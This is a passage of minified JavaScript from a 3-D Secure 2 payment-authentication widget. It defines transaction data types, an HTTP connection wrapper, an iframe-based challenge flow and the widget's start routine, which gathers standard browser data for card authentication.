EMVCompletionEvent.FieldMetadata.sdkTransactionID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVCompletionEvent?a.getSdkTransactionID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVCompletionEvent&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setSdkTransactionID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
EMVCompletionEvent.FieldMetadata.transactionStatus=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVCompletionEvent?a.getTransactionStatus():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVCompletionEvent&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setTransactionStatus(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());Email.prototype=NDObject.create(CustomConvertible.prototype);
Email.prototype.getEmail=function(){return this.getValue()};Email.prototype.setEmail=function(a){this.setRawValue(a)};Email.prototype.validate=function(){return new ValidationResult};Email.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(TextUtils.stringify(a))};Email.prototype.getAllowedProperties=function(){return StringValidator.ALLOWED_PROPERTIES};IP.prototype=NDObject.create(CustomConvertible.prototype);IP.prototype.getIP=function(){return this.getValue()};
IP.prototype.setIP=function(a){this.setValue(a)};IP.prototype.validate=function(){return new ValidationResult};IP.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(TextUtils.stringify(a))};IP.prototype.getAllowedProperties=function(){return StringValidator.ALLOWED_PROPERTIES};
function ThreeDSError(){Convertible.call(this);this.sdkTransID=this.messageVersion=this.messageType=this.errorMessageType=this.errorDetail=this.errorDescription=this.errorComponent=this.errorCode=this.dsTransID=this.acsTransID=this.threeDSServerTransID=null;Interface.implement(this,ISyncable)}
"undefined"!==typeof exports&&(exports.ACSInterface=ACSInterface,exports.ACSRenderingType=ACSRenderingType,exports.ACSUITemplate=ACSUITemplate,exports.APIResponse=APIResponse,exports.Action=Action,exports.ApiVersionType=ApiVersionType,exports.ArrayContainerValidator=ArrayContainerValidator,exports.AuthenticationRequestWebParameters=AuthenticationRequestWebParameters,exports.AuthenticationResponse=AuthenticationResponse,exports.AuthenticationType=AuthenticationType,exports.Base64=Base64,exports.Base64URL=
Base64URL,exports.BaseContainerValidator=BaseContainerValidator,exports.BaseException=BaseException,exports.BaseValidator=BaseValidator,exports.BooleanYesNo=BooleanYesNo,exports.BrowserColorDepthType=BrowserColorDepthType,exports.CancelIndicator=CancelIndicator,exports.Challenge=Challenge,exports.ChallengeOutcome=ChallengeOutcome,exports.ChallengeResponse=ChallengeResponse,exports.Convertible=Convertible,exports.CountryCode=CountryCode,exports.CryptoType=CryptoType,exports.CurrencyCode=CurrencyCode,
exports.CustomConvertible=CustomConvertible,exports.DateUtils=DateUtils,exports.DoubleValidator=DoubleValidator,exports.EMVCompletionEvent=EMVCompletionEvent,exports.EMVErrorMessage=EMVErrorMessage,exports.EMVProtocolErrorEvent=EMVProtocolErrorEvent,exports.EMVRuntimeErrorEvent=EMVRuntimeErrorEvent,exports.Email=Email,exports.Enumerable=Enumerable,exports.ErrorCode=ErrorCode,exports.ErrorComponent=ErrorComponent,exports.FieldMetadata=FieldMetadata,exports.HTTPLimitedTimingData=HTTPLimitedTimingData,
exports.ICopyable=ICopyable,exports.ICustomConvertible=ICustomConvertible,exports.IMetadataProvider=IMetadataProvider,exports.INonStringable=INonStringable,exports.IP=IP,exports.ISyncable=ISyncable,exports.IValidatable=IValidatable,exports.IllegalArgumentException=IllegalArgumentException,exports.ImageSizes=ImageSizes,exports.Init=Init,exports.IntValidator=IntValidator,exports.Interface=Interface,exports.InvalidValueException=InvalidValueException,exports.JsonDecodeException=JsonDecodeException,exports.JsonSerializer=
JsonSerializer,exports.MapContainerValidator=MapContainerValidator,exports.MathUtil=MathUtil,exports.MessageCategoryType=MessageCategoryType,exports.MessageExtensionAttributes=MessageExtensionAttributes,exports.MessageVersionType=MessageVersionType,exports.MetadataUtils=MetadataUtils,exports.MsgType=MsgType,exports.NDObject=NDObject,exports.NumericEnumerable=NumericEnumerable,exports.ObjectContainerValidator=ObjectContainerValidator,exports.ObjectUtils=ObjectUtils,exports.ObjectValidator=ObjectValidator,
exports.Phone=Phone,exports.Property=Property,exports.ResultsResponse=ResultsResponse,exports.SecureString=SecureString,exports.StatusMsg=StatusMsg,exports.StringValidator=StringValidator,exports.SupportedVersionsResponse=SupportedVersionsResponse,exports.TernaryYesNoUnavailable=TernaryYesNoUnavailable,exports.TextUtils=TextUtils,exports.ThreeDSDate=ThreeDSDate,exports.ThreeDSError=ThreeDSError,exports.TransactionReason=TransactionReason,exports.TransactionStatus=TransactionStatus,exports.URL=URL,
exports.UUID=UUID,exports.ValidationException=ValidationException,exports.ValidationResult=ValidationResult,exports.Validator=Validator,exports.WhitelistStatus=WhitelistStatus,exports.WhitelistStatusSource=WhitelistStatusSource,exports.WidgetBrowserData=WidgetBrowserData,exports.WidgetOutcomeMessage=WidgetOutcomeMessage,exports.WindowSize=WindowSize);
"undefined"!==typeof module&&"undefined"!==typeof module.exports&&(module.exports.ACSInterface=ACSInterface,module.exports.ACSRenderingType=ACSRenderingType,module.exports.ACSUITemplate=ACSUITemplate,module.exports.APIResponse=APIResponse,module.exports.Action=Action,module.exports.ApiVersionType=ApiVersionType,module.exports.ArrayContainerValidator=ArrayContainerValidator,module.exports.AuthenticationRequestWebParameters=AuthenticationRequestWebParameters,module.exports.AuthenticationResponse=AuthenticationResponse,
module.exports.AuthenticationType=AuthenticationType,module.exports.Base64=Base64,module.exports.Base64URL=Base64URL,module.exports.BaseContainerValidator=BaseContainerValidator,module.exports.BaseException=BaseException,module.exports.BaseValidator=BaseValidator,module.exports.BooleanYesNo=BooleanYesNo,module.exports.BrowserColorDepthType=BrowserColorDepthType,module.exports.CancelIndicator=CancelIndicator,module.exports.Challenge=Challenge,module.exports.ChallengeOutcome=ChallengeOutcome,module.exports.ChallengeResponse=
ChallengeResponse,module.exports.Convertible=Convertible,module.exports.CountryCode=CountryCode,module.exports.CryptoType=CryptoType,module.exports.CurrencyCode=CurrencyCode,module.exports.CustomConvertible=CustomConvertible,module.exports.DateUtils=DateUtils,module.exports.DoubleValidator=DoubleValidator,module.exports.EMVCompletionEvent=EMVCompletionEvent,module.exports.EMVErrorMessage=EMVErrorMessage,module.exports.EMVProtocolErrorEvent=EMVProtocolErrorEvent,module.exports.EMVRuntimeErrorEvent=
EMVRuntimeErrorEvent,module.exports.Email=Email,module.exports.Enumerable=Enumerable,module.exports.ErrorCode=ErrorCode,module.exports.ErrorComponent=ErrorComponent,module.exports.FieldMetadata=FieldMetadata,module.exports.HTTPLimitedTimingData=HTTPLimitedTimingData,module.exports.ICopyable=ICopyable,module.exports.ICustomConvertible=ICustomConvertible,module.exports.IMetadataProvider=IMetadataProvider,module.exports.INonStringable=INonStringable,module.exports.IP=IP,module.exports.ISyncable=ISyncable,
module.exports.IValidatable=IValidatable,module.exports.IllegalArgumentException=IllegalArgumentException,module.exports.ImageSizes=ImageSizes,module.exports.Init=Init,module.exports.IntValidator=IntValidator,module.exports.Interface=Interface,module.exports.InvalidValueException=InvalidValueException,module.exports.JsonDecodeException=JsonDecodeException,module.exports.JsonSerializer=JsonSerializer,module.exports.MapContainerValidator=MapContainerValidator,module.exports.MathUtil=MathUtil,module.exports.MessageCategoryType=
MessageCategoryType,module.exports.MessageExtensionAttributes=MessageExtensionAttributes,module.exports.MessageVersionType=MessageVersionType,module.exports.MetadataUtils=MetadataUtils,module.exports.MsgType=MsgType,module.exports.NDObject=NDObject,module.exports.NumericEnumerable=NumericEnumerable,module.exports.ObjectContainerValidator=ObjectContainerValidator,module.exports.ObjectUtils=ObjectUtils,module.exports.ObjectValidator=ObjectValidator,module.exports.Phone=Phone,module.exports.Property=
Property,module.exports.ResultsResponse=ResultsResponse,module.exports.SecureString=SecureString,module.exports.StatusMsg=StatusMsg,module.exports.StringValidator=StringValidator,module.exports.SupportedVersionsResponse=SupportedVersionsResponse,module.exports.TernaryYesNoUnavailable=TernaryYesNoUnavailable,module.exports.TextUtils=TextUtils,module.exports.ThreeDSDate=ThreeDSDate,module.exports.ThreeDSError=ThreeDSError,module.exports.TransactionReason=TransactionReason,module.exports.TransactionStatus=
TransactionStatus,module.exports.URL=URL,module.exports.UUID=UUID,module.exports.ValidationException=ValidationException,module.exports.ValidationResult=ValidationResult,module.exports.Validator=Validator,module.exports.WhitelistStatus=WhitelistStatus,module.exports.WhitelistStatusSource=WhitelistStatusSource,module.exports.WidgetBrowserData=WidgetBrowserData,module.exports.WidgetOutcomeMessage=WidgetOutcomeMessage,module.exports.WindowSize=WindowSize);INdsConnection.prototype.open=function(){};
INdsConnection.prototype.setRequestHeader=function(){};INdsConnection.prototype.setOnSuccess=function(a){this.mOnSuccess="function"===typeof a?a:function(){}};INdsConnection.prototype.setOnError=function(a){this.mOnError="function"===typeof a?a:function(){}};INdsConnection.prototype.send=function(){};function NumericEnumerable(a,b,c){Enumerable.call(this,a,b,NumericEnumerable.validateNumeric(a))}XMLHttpRequestConnection.prototype=NDObject.create(INdsConnection.prototype);
XMLHttpRequestConnection.prototype.open=function(a,b){this.mXhr.open(a,b)};XMLHttpRequestConnection.prototype.setRequestHeader=function(a,b){this.mXhr.setRequestHeader(a,b)};
XMLHttpRequestConnection.prototype.send=function(a){var b=this;this.mXhr.onload=function(){var a=b.mXhr.status;if(200===a){a=b.mXhr.getAllResponseHeaders().split("\r\n");for(var d={},e=0;e<a.length;e++){var f=a[e],g=f.indexOf(":");-1!==g&&(d[f.substr(0,g)]=f.substr(g+1).trim())}b.mOnSuccess(b.mXhr.responseText,d)}else 200!==a&&b.mOnError(a)};this.mXhr.withCredentials=this.withCredentials;this.mXhr.send(a)};ThreeDSResponse.prototype.setDecodedBody=function(a){this.decodedBody=a};
function AuthenticationRequestWebParameters(){Convertible.call(this);this.threeDSCompInd=this.threeDSServerTransID=this.browserData=null;Interface.implement(this,ISyncable)}ThreeDSResponse.prototype.getHeaders=function(){return this.headers};ThreeDSResponse.prototype.getDecodedBody=function(){return this.decodedBody||JSON.parse(this.encodedBody)};ThreeDSRequest.prototype.setHeaders=function(a){this.headers=a};ThreeDSRequest.prototype.getHeaders=function(){return this.headers};
ThreeDSRequest.prototype.setEncodedBody=function(a){this.encodedBody=a};ThreeDSRequest.prototype.getEncodedBody=function(){return this.encodedBody||JSON.stringify(this.bodyMap)};ThreeDSRequest.prototype.setWithCredentials=function(a){this.withCredentials=a};ThreeDSRequest.prototype.getWithCredentials=function(){return this.withCredentials};
(function(){function a(b,c,d){function e(g,h){if(!c[g]){if(!b[g]){var m="function"==typeof require&&require;if(!h&&m)return m(g,!0);if(f)return f(g,!0);m=Error("Cannot find module '"+g+"'");throw m.code="MODULE_NOT_FOUND",m;}m=c[g]={exports:{}};b[g][0].call(m.exports,function(a){return e(b[g][1][a]||a)},m,m.exports,a,b,c,d)}return c[g].exports}for(var f="function"==typeof require&&require,g=0;g<d.length;g++)e(d[g]);return e}return a})()({1:[function(a,b,c){(function(a,e){if("object"===typeof c&&"object"===
typeof b)b.exports=e();else if("function"===typeof define&&define.amd)define([],e);else{var d=e(),g;for(g in d)("object"===typeof c?c:a)[g]=d[g]}})(this,function(){return function(a){function b(d){if(c[d])return c[d].exports;var e=c[d]={exports:{},id:d,loaded:!1};a[d].call(e.exports,e,e.exports,b);e.loaded=!0;return e.exports}var c={};b.m=a;b.c=c;b.p="";return b(0)}([function(a,b,c){var d=c(1);a=c(5);b.ChallengeParameters=a.ChallengeParameters;var e=c(3);c=function(){function a(a,b){this.challengeIframeElement=
a;this.options=b;this.INTERNAL_IFRAME_ID="3DSv2-InternalIframeId";this.initializeLogger(b);e["default"].debug("ThreeDS2Service#constructor entered...");var c=document.createElement("iframe");c.style.display="none";c.id=this.INTERNAL_IFRAME_ID;c.name=this.INTERNAL_IFRAME_ID;document.body.appendChild(c);e["default"].debug("ThreeDS2Service#constructor exited...")}a.prototype.createTransaction=function(a){return new d.Transaction(a,this)};a.prototype.getBrowserData=function(a){var b={browserJavaEnabled:navigator.javaEnabled(),
browserLanguage:navigator.language,browserColorDepth:window.screen.colorDepth.toString(),browserScreenHeight:window.screen.height.toString(),browserScreenWidth:window.screen.width.toString(),browserTZ:(new Date).getTimezoneOffset().toString(),browserUserAgent:navigator.userAgent};return a(b)};a.prototype.initializeLogger=function(a){e["default"].setLevel(null!=a?a.logLevel:null)};return a}();b.ThreeDS2Service=c},function(a,b,c){var d=c(2),e=c(3);a=function(){function a(a,b){this.transactionId=a;this.service=
b;e["default"].debug("Transaction constructor called",a)}a.prototype.performThreeDsMethodRequest=function(a,b,c){var d=this;e["default"].debug("Transaction.performThreeDsMethodRequest method called",a,b);this.submitToIframe(this.service.INTERNAL_IFRAME_ID,a,{threeDSMethodData:btoa(JSON.stringify({threeDSMethodNotificationURL:b,threeDSServerTransID:this.transactionId}))});var n=function(a){d.isEventValid(a)&&(e["default"].debug("Transaction.performThreeDsMethodRequest: message received: "+JSON.stringify(a.data),
a),c(a.data),e["default"].debug("unsubscribing",n),window.removeEventListener("message",n))};window.addEventListener("message",n,!1)};a.prototype.doChallenge=function(a,b){var c=this;e["default"].debug("Transaction.doChallenge method called");var g=document.getElementById(this.service.challengeIframeElement.name),f=new d.ScreenLoader(g);this.submitToIframe(this.service.challengeIframeElement.name,a._acsUrl,{creq:a._initialChallengeRequest,threeDSServerTransID:this.transactionId});var m=setTimeout(function(){e["default"].debug("Resending creq...");
f.showLoadingScreen();c.submitToIframe(c.service.challengeIframeElement.name,a._acsUrl,{creq:a._initialChallengeRequest,threeDSServerTransID:c.transactionId})},5E3),h=setTimeout(function(){e["default"].debug("Flow finished with error by timeout");f.removeLoadingScreen();b({outcome:"erred",error:{errorCode:"402",errorDescription:"Timeout expiry reached for the transaction",errorDetail:"Message not received in allotted time",sdkTransID:c.transactionId,messageVersion:"2.0.1",messageType:"Erro",errorComponent:"C",
errorMessageType:"CReq"}});window.removeEventListener("message",r)},1E4);g.onload=function(){e["default"].debug("iframe onload event fired");clearTimeout(m);clearTimeout(h)};var r=function(a){c.isEventValid(a)&&(e["default"].debug("Transaction.doChallenge: message received: "+JSON.stringify(a.data),a),b(a.data),e["default"].debug("unsubscribing",r),window.removeEventListener("message",r))};window.addEventListener("message",r,!1)};a.prototype.submitToIframe=function(a,b,c){var d=document.createElement("form");
d.method="POST";d.action=b;d.target=a;for(var e in c)c.hasOwnProperty(e)&&d.appendChild(this.createHiddenInput(e,c[e]));document.body.appendChild(d);d.submit();document.body.removeChild(d)};a.prototype.createHiddenInput=function(a,b){var c=document.createElement("input");c.type="hidden";c.name=a;c.value=b;return c};a.prototype.isEventValid=function(b){return b.origin===this.service.options.requestorBackendUrl&&b.data&&b.data.type&&b.data.type===a.CALLBACK_MESSAGE_TYPE};return a}();a.CALLBACK_MESSAGE_TYPE=
"mSIGNIA-3DSv2-TransactionMessage";b.Transaction=a},function(a,b){var c=function(){function a(a){this.iframe=a;this.iframeWindow=a.contentWindow||a.contentDocument;this.iframeWindow.document.head.appendChild(this.createStyles());this.createLoadingScreen()}a.prototype.showLoadingScreen=function(){this.iframeWindow.document.body.appendChild(this.loadingScreen)};a.prototype.removeLoadingScreen=function(){this.iframeWindow.document.body.removeChild(this.loadingScreen)};a.prototype.createLoadingScreen=
function(){this.loadingScreen=document.createElement("div");var a=document.createElement("div");a.innerText="Message has not received in allotted time. Resending request...";a.className="message";var b=document.createElement("div");b.className="spinner";this.loadingScreen.appendChild(a);this.loadingScreen.appendChild(b)};a.prototype.createStyles=function(){var a=document.createElement("style");a.type="text/css";a.innerHTML="\n .message {\n text-align: center;\n margin-top: 2em;\n font-size: 1.3em;\n }\n\n .spinner {\n border: 0.5em solid #f3f3f3;\n border-top: 0.5em solid #3498db;\n position: fixed;\n top: 50%;\n left: 50%;\n border-radius: 50%;\n width: 4em;\n height: 4em;\n margin-top: -2em;\n margin-left: -2em;\n -webkit-animation: spin 2s linear infinite;\n animation: spin 2s linear infinite;\n }\n\n @-webkit-keyframes spin {\n 0% { -webkit-transform: rotate(0deg); }\n 100% { -webkit-transform: rotate(360deg); }\n }\n\n @keyframes spin {\n 0% { transform: rotate(0deg); }\n 100% { transform: rotate(360deg); }\n }";
return a};return a}();b.ScreenLoader=c},function(a,b,c){var d=c(4),e;(function(a){a[a.DEBUG=1]="DEBUG";a[a.INFO=2]="INFO";a[a.TIME=3]="TIME";a[a.WARN=4]="WARN";a[a.ERROR=8]="ERROR";a[a.OFF=99]="OFF"})(e||(e={}));a=function(){function a(){if(a.instance)return a.instance;a.instance=this;d.setHandler(d.createDefaultHandler())}a.initialize=function(){a.instance||(a.instance=new a);return a.instance};a.prototype.setLevel=function(b){b=null==b?a.defaultLogLevel:b;d.setLevel({value:e[b],name:b})};a.prototype.debug=
function(a){for(var b=[],c=1;c<arguments.length;c++)b[c-1]=arguments[c];this._log.apply(this,["debug",a].concat(b))};a.prototype.info=function(a){for(var b=[],c=1;c<arguments.length;c++)b[c-1]=arguments[c];this._log.apply(this,["info",a].concat(b))};a.prototype.log=function(a){for(var b=[],c=1;c<arguments.length;c++)b[c-1]=arguments[c];this._log.apply(this,["log",a].concat(b))};a.prototype.warn=function(a){for(var b=[],c=1;c<arguments.length;c++)b[c-1]=arguments[c];this._log.apply(this,["warn",a].concat(b))};
a.prototype.error=function(a){for(var b=[],c=1;c<arguments.length;c++)b[c-1]=arguments[c];this._log.apply(this,["error",a].concat(b))};a.prototype._log=function(a,b){for(var c=[],e=2;e<arguments.length;e++)c[e-2]=arguments[e];d[a].apply(d,[b].concat(c))};return a}();a.defaultLogLevel=e[e.OFF];b.__esModule=!0;b["default"]=a.initialize()},function(a,b,c){var d,e;(function(f){var g={VERSION:"1.4.1"},h,n={};f=function(a,b){return function(){return b.apply(a,arguments)}};var k=function(){var a=arguments,
b=a[0],c,d;for(d=1;d<a.length;d++)for(c in a[d])c in b||!a[d].hasOwnProperty(c)||(b[c]=a[d][c]);return b},q=function(a,b){return{value:a,name:b}};g.DEBUG=q(1,"DEBUG");g.INFO=q(2,"INFO");g.TIME=q(3,"TIME");g.WARN=q(4,"WARN");g.ERROR=q(8,"ERROR");g.OFF=q(99,"OFF");var u=function(a){this.context=a;this.setLevel(a.filterLevel);this.log=this.info};u.prototype={setLevel:function(a){a&&"value"in a&&(this.context.filterLevel=a)},getLevel:function(){return this.context.filterLevel},enabledFor:function(a){return a.value>=
this.context.filterLevel.value},debug:function(){this.invoke(g.DEBUG,arguments)},info:function(){this.invoke(g.INFO,arguments)},warn:function(){this.invoke(g.WARN,arguments)},error:function(){this.invoke(g.ERROR,arguments)},time:function(a){"string"===typeof a&&0<a.length&&this.invoke(g.TIME,[a,"start"])},timeEnd:function(a){"string"===typeof a&&0<a.length&&this.invoke(g.TIME,[a,"end"])},invoke:function(a,b){h&&this.enabledFor(a)&&h(b,k({level:a},this.context))}};var p=new u({filterLevel:g.OFF});
g.enabledFor=f(p,p.enabledFor);g.debug=f(p,p.debug);g.time=f(p,p.time);g.timeEnd=f(p,p.timeEnd);g.info=f(p,p.info);g.warn=f(p,p.warn);g.error=f(p,p.error);g.log=g.info;g.setHandler=function(a){h=a};g.setLevel=function(a){p.setLevel(a);for(var b in n)n.hasOwnProperty(b)&&n[b].setLevel(a)};g.getLevel=function(){return p.getLevel()};g.get=function(a){return n[a]||(n[a]=new u(k({name:a},p.context)))};g.createDefaultHandler=function(a){a=a||{};a.formatter=a.formatter||function(a,b){b.name&&a.unshift("["+
b.name+"]")};var b={};return"undefined"===typeof console?function(){}:function(c,d){c=Array.prototype.slice.call(c);var e=console.log;if(d.level===g.TIME){var f=(d.name?"["+d.name+"] ":"")+c[0];"start"===c[1]?console.time?console.time(f):b[f]=(new Date).getTime():console.timeEnd?console.timeEnd(f):(f=[f+": "+((new Date).getTime()-b[f])+"ms"],Function.prototype.apply.call(e,console,f))}else d.level===g.WARN&&console.warn?e=console.warn:d.level===g.ERROR&&console.error?e=console.error:d.level===g.INFO&&
console.info?e=console.info:d.level===g.DEBUG&&console.debug&&(e=console.debug),a.formatter(c,d),Function.prototype.apply.call(e,console,c)}};g.useDefaults=function(a){g.setLevel(a&&a.defaultLevel||g.DEBUG);g.setHandler(g.createDefaultHandler(a))};!(d=g,e="function"===typeof d?d.call(b,c,b,a):d,void 0!==e&&(a.exports=e))})(this)},function(a,b){var c=function(){return function(a,b,c){this._acsUrl=a;this._initialChallengeRequest=b;this._sessionData=c}}();b.ChallengeParameters=c}])})},{}],2:[function(a,
b,c){b="undefined"!==typeof global?global:"undefined"!==typeof self?self:"undefined"!==typeof window?window:{};b.ThreeDS2Service=a("./3ds-v2-2.1.0-dev-preview-1.js").ThreeDS2Service;b.ChallengeParameters=a("./3ds-v2-2.1.0-dev-preview-1.js").ChallengeParameters},{"./3ds-v2-2.1.0-dev-preview-1.js":1}]},{},[2]);
ThreeDSWidget.prototype.start=function(a){function b(a){var b="",c;for(c in a)a.hasOwnProperty(c)&&(0<b.length&&(b+="\x26"),b+=encodeURI(c+"\x3d"+a[c]));return b}function c(){}function d(b,e,f,h){f="undefined"===typeof f?c:f;h="undefined"===typeof h?!1:h;try{var n=b.apply(null,e)}catch(r){h?d(c,[],f):d(a.callbacks.transaction.error,[g(r)],f,!0);return}"object"===typeof n&&"function"===typeof n.then&&"function"===typeof n.catch?n.then(f).catch(f):f()}function e(c,e){var f="undefined"!==typeof a.connection?
a.connection:new XMLHttpRequestConnection;f.open("POST",l.mHost+l.mAPI);f.setOnSuccess(function(b,c){var f=new ThreeDSResponse(b,c);d(a.callbacks.httpConnection.after,[f],function(){e(f.getDecodedBody())})});f.setOnError(function(b){a.callbacks.transaction.error(g(StatusMsg.ERROR_WITH_CODE.toString()+" "+b))});if(void 0===c.data||null===c.data)c.data={};var n=new ThreeDSRequest(c.data);n.headers["Content-Type"]="application/x-www-form-urlencoded";d(a.callbacks.httpConnection.before,[n],function(){c.data=
n.getEncodedBody();for(var a in n.headers)n.headers.hasOwnProperty(a)&&f.setRequestHeader(a,n.headers[a]);f.withCredentials=n.getWithCredentials();f.send(b(c))})}function f(a){return"undefined"!==typeof a?a:null}function g(a){var b=new ThreeDSError;b.setErrorCode(ErrorCode.TRANSIENT_SYSTEM_FAILURE);b.setErrorComponent(ErrorComponent.THREEDS_SDK);b.setMessageType(MsgType.ERRO);b.setErrorDescription(StatusMsg.WIDGET_ERROR.toString());b.setErrorDetail(f(a));b.setThreeDSServerTransID(f(l.threeDSServerTransID));
null!=l.authenticationResponse&&(b.setAcsTransID(f(l.authenticationResponse.getAcsTransID())),b.setDsTransID(f(l.authenticationResponse.getDsTransID())),b.setSdkTransID(f(l.authenticationResponse.getSdkTransID())),b.setMessageVersion(f(l.authenticationResponse.getMessageVersion())));return b}function k(a){return null!==a&&(a.getErrorDescription()||a.getErrorDetail())}function h(a){a="string"===typeof a?ThreeDSError.fromJson(a):ThreeDSError.fromMap(a);return k(a)?a:null}function m(a){function b(){var b=
WindowSize.WS600_400,c=[{value:WindowSize.WS250_400,width:250,height:400},{value:WindowSize.WS390_400,width:390,height:400},{value:WindowSize.WS500_600,width:500,height:600},{value:WindowSize.WS600_400,width:600,height:400}];if(null!==a.iframeElement&&"undefined"!==typeof a.iframeElement){var d=a.iframeElement.clientWidth||a.iframeElement.offsetWidth||0;var e=a.iframeElement.clientHeight||a.iframeElement.offsetHeight||0;if(0<d&&0<e){var f=c.length;if(d>c[f-1].width&&e>c[f-1].height)b=WindowSize.FULL_SCREEN;
else for(var g=0;g<f;g++){var h=c[g],k=h.height;if(d<=h.width&&e<=k){b=h.value;break}}}}return b}function c(b){if(l.authenticationResponse.getTransStatus()!==TransactionStatus.CHALLENGE_REQUIRED)b=new ChallengeResponse,JsonSerializer.readJsonIntoInstance(b,l.authenticationResponse.toJson()),d(a.callbacks.challenge.completed,[b],function(){d(a.callbacks.transaction.results,[ResultsResponse.fromJson(l.authenticationResponse.toJson())])});else{var c=null;l.authenticationResponse.getEncodedCReq()&&(c=
l.authenticationResponse.getEncodedCReq());var e=l.authenticationResponse.getAcsURL();e?(c=new ChallengeParameters(e.getValue(),c),a.iframeElement.style.visibility="visible",b.doChallenge(c,function(b){var c=WidgetOutcomeMessage.fromMap(b);b=c.getError();k(b)?a.callbacks.transaction.error(b):(b=new ChallengeResponse,JsonSerializer.readJsonIntoInstance(b,c.getChallengeOutcome().toJson()),d(a.callbacks.challenge.completed,[b],function(){d(a.callbacks.transaction.results,[ResultsResponse.fromJson(c.getResultsResponse().toJson())])}))})):
a.callbacks.transaction.error(g(StatusMsg.MISSING_ACS_URL.toString()))}}function f(f){v.getBrowserData(function(g){var k=AuthenticationRequestWebParameters.fromMap(g);k.getBrowserData().setChallengeWindowSize(b());k.setThreeDSServerTransID(l.threeDSServerTransID);k.setThreeDSCompInd(t);d(a.callbacks.authenticate.before,[k],function(){e({action:Action.CHALLENGE_REQUEST,data:k.toJson()},function(b){var e=h(b);e?a.callbacks.transaction.error(e):(l.authenticationResponse=AuthenticationResponse.fromMap(b),
d(a.callbacks.authenticate.after,[l.authenticationResponse],function(){c(f)}))})})})}function n(b,c){d(a.callbacks.threeDSMethod.after,[c],function(){c.getTransStatus()===TransactionStatus.SUCCESS&&f(b)})}function m(b){l.threeDSServerTransID=b.getThreeDSServerTransID();b=b.getThreeDSMethodURL();var c=v.createTransaction(null===l.threeDSServerTransID?null:l.threeDSServerTransID.getValue());b?(t=TernaryYesNoUnavailable.NO,c.performThreeDsMethodRequest(b,l.mHost+l.mAPI,function(b){t=TernaryYesNoUnavailable.YES;
b=WidgetOutcomeMessage.fromMap(b);var e=b.getError();k(e)?d(a.callbacks.threeDSMethod.after,[b],function(){a.callbacks.transaction.error(e)}):n(c,b);t=TernaryYesNoUnavailable.UNAVAILABLE})):(b=new WidgetOutcomeMessage,b.setTransStatus(TransactionStatus.SUCCESS),n(c,b))}var v=new ThreeDS2Service(a.iframeElement,{requestorBackendUrl:l.mHost,logLevel:"WARN"}),t=TernaryYesNoUnavailable.UNAVAILABLE;d(a.callbacks.supportedVersions.before,[],function(){e({action:Action.INIT,data:{}},function(b){var c=h(b);
if(c)a.callbacks.transaction.error(c);else{var e=SupportedVersionsResponse.fromMap(b);d(a.callbacks.supportedVersions.after,[e],function(){m(e)})}})})}var l=this;(function(a){function b(b,c){for(var d=b.split("."),e=d.length,f=a.callbacks,g=0;g<e;g++){var h=d[g];"undefined"===typeof f[h]&&(f[h]=g==e-1?c:{});f=f[h]}}"undefined"===typeof a.callbacks&&(a.callbacks={});(function(){var c={initCompleted:{mapTo:"supportedVersions.after",fn:a.callbacks.initCompleted},configureCompleted:{mapTo:"threeDSMethod.after",
fn:function(b){b=b.getTransStatus()===TransactionStatus.SUCCESS;return a.callbacks.configureCompleted(b)}},challengeRequested:{mapTo:"authenticate.after",fn:function(b){b=TransactionStatus.fromObject(f(b.getTransStatus()));return a.callbacks.challengeRequested(b)}},performChallengeCompleted:{mapTo:"challenge.completed",fn:function(b){return a.callbacks.performChallengeCompleted(b.getTransStatus())}},error:{mapTo:"transaction.error",fn:a.callbacks.error},onRequest:{mapTo:"httpConnection.before",fn:a.callbacks.onRequest},
onResponse:{mapTo:"httpConnection.after",fn:a.callbacks.onResponse}},d;for(d in c)if(c.hasOwnProperty(d)&&"function"===typeof a.callbacks[d]){var e=c[d];b(e.mapTo,e.fn)}})();for(var c="supportedVersions.before supportedVersions.after threeDSMethod.after authenticate.before authenticate.after challenge.completed transaction.error httpConnection.before httpConnection.after".split(" "),d=0;d<c.length;d++)b(c[d],function(){})})(a);try{m(a)}catch(n){a.callbacks.transaction.error(g(n.toString()))}};
"undefined"!==typeof exports&&(exports.ACSInterface=ACSInterface,exports.ACSRenderingType=ACSRenderingType,exports.ACSUITemplate=ACSUITemplate,exports.APIResponse=APIResponse,exports.Action=Action,exports.ApiVersionType=ApiVersionType,exports.ArrayContainerValidator=ArrayContainerValidator,exports.AuthenticationRequestWebParameters=AuthenticationRequestWebParameters,exports.AuthenticationResponse=AuthenticationResponse,exports.AuthenticationType=AuthenticationType,exports.Base64=Base64,exports.Base64URL=
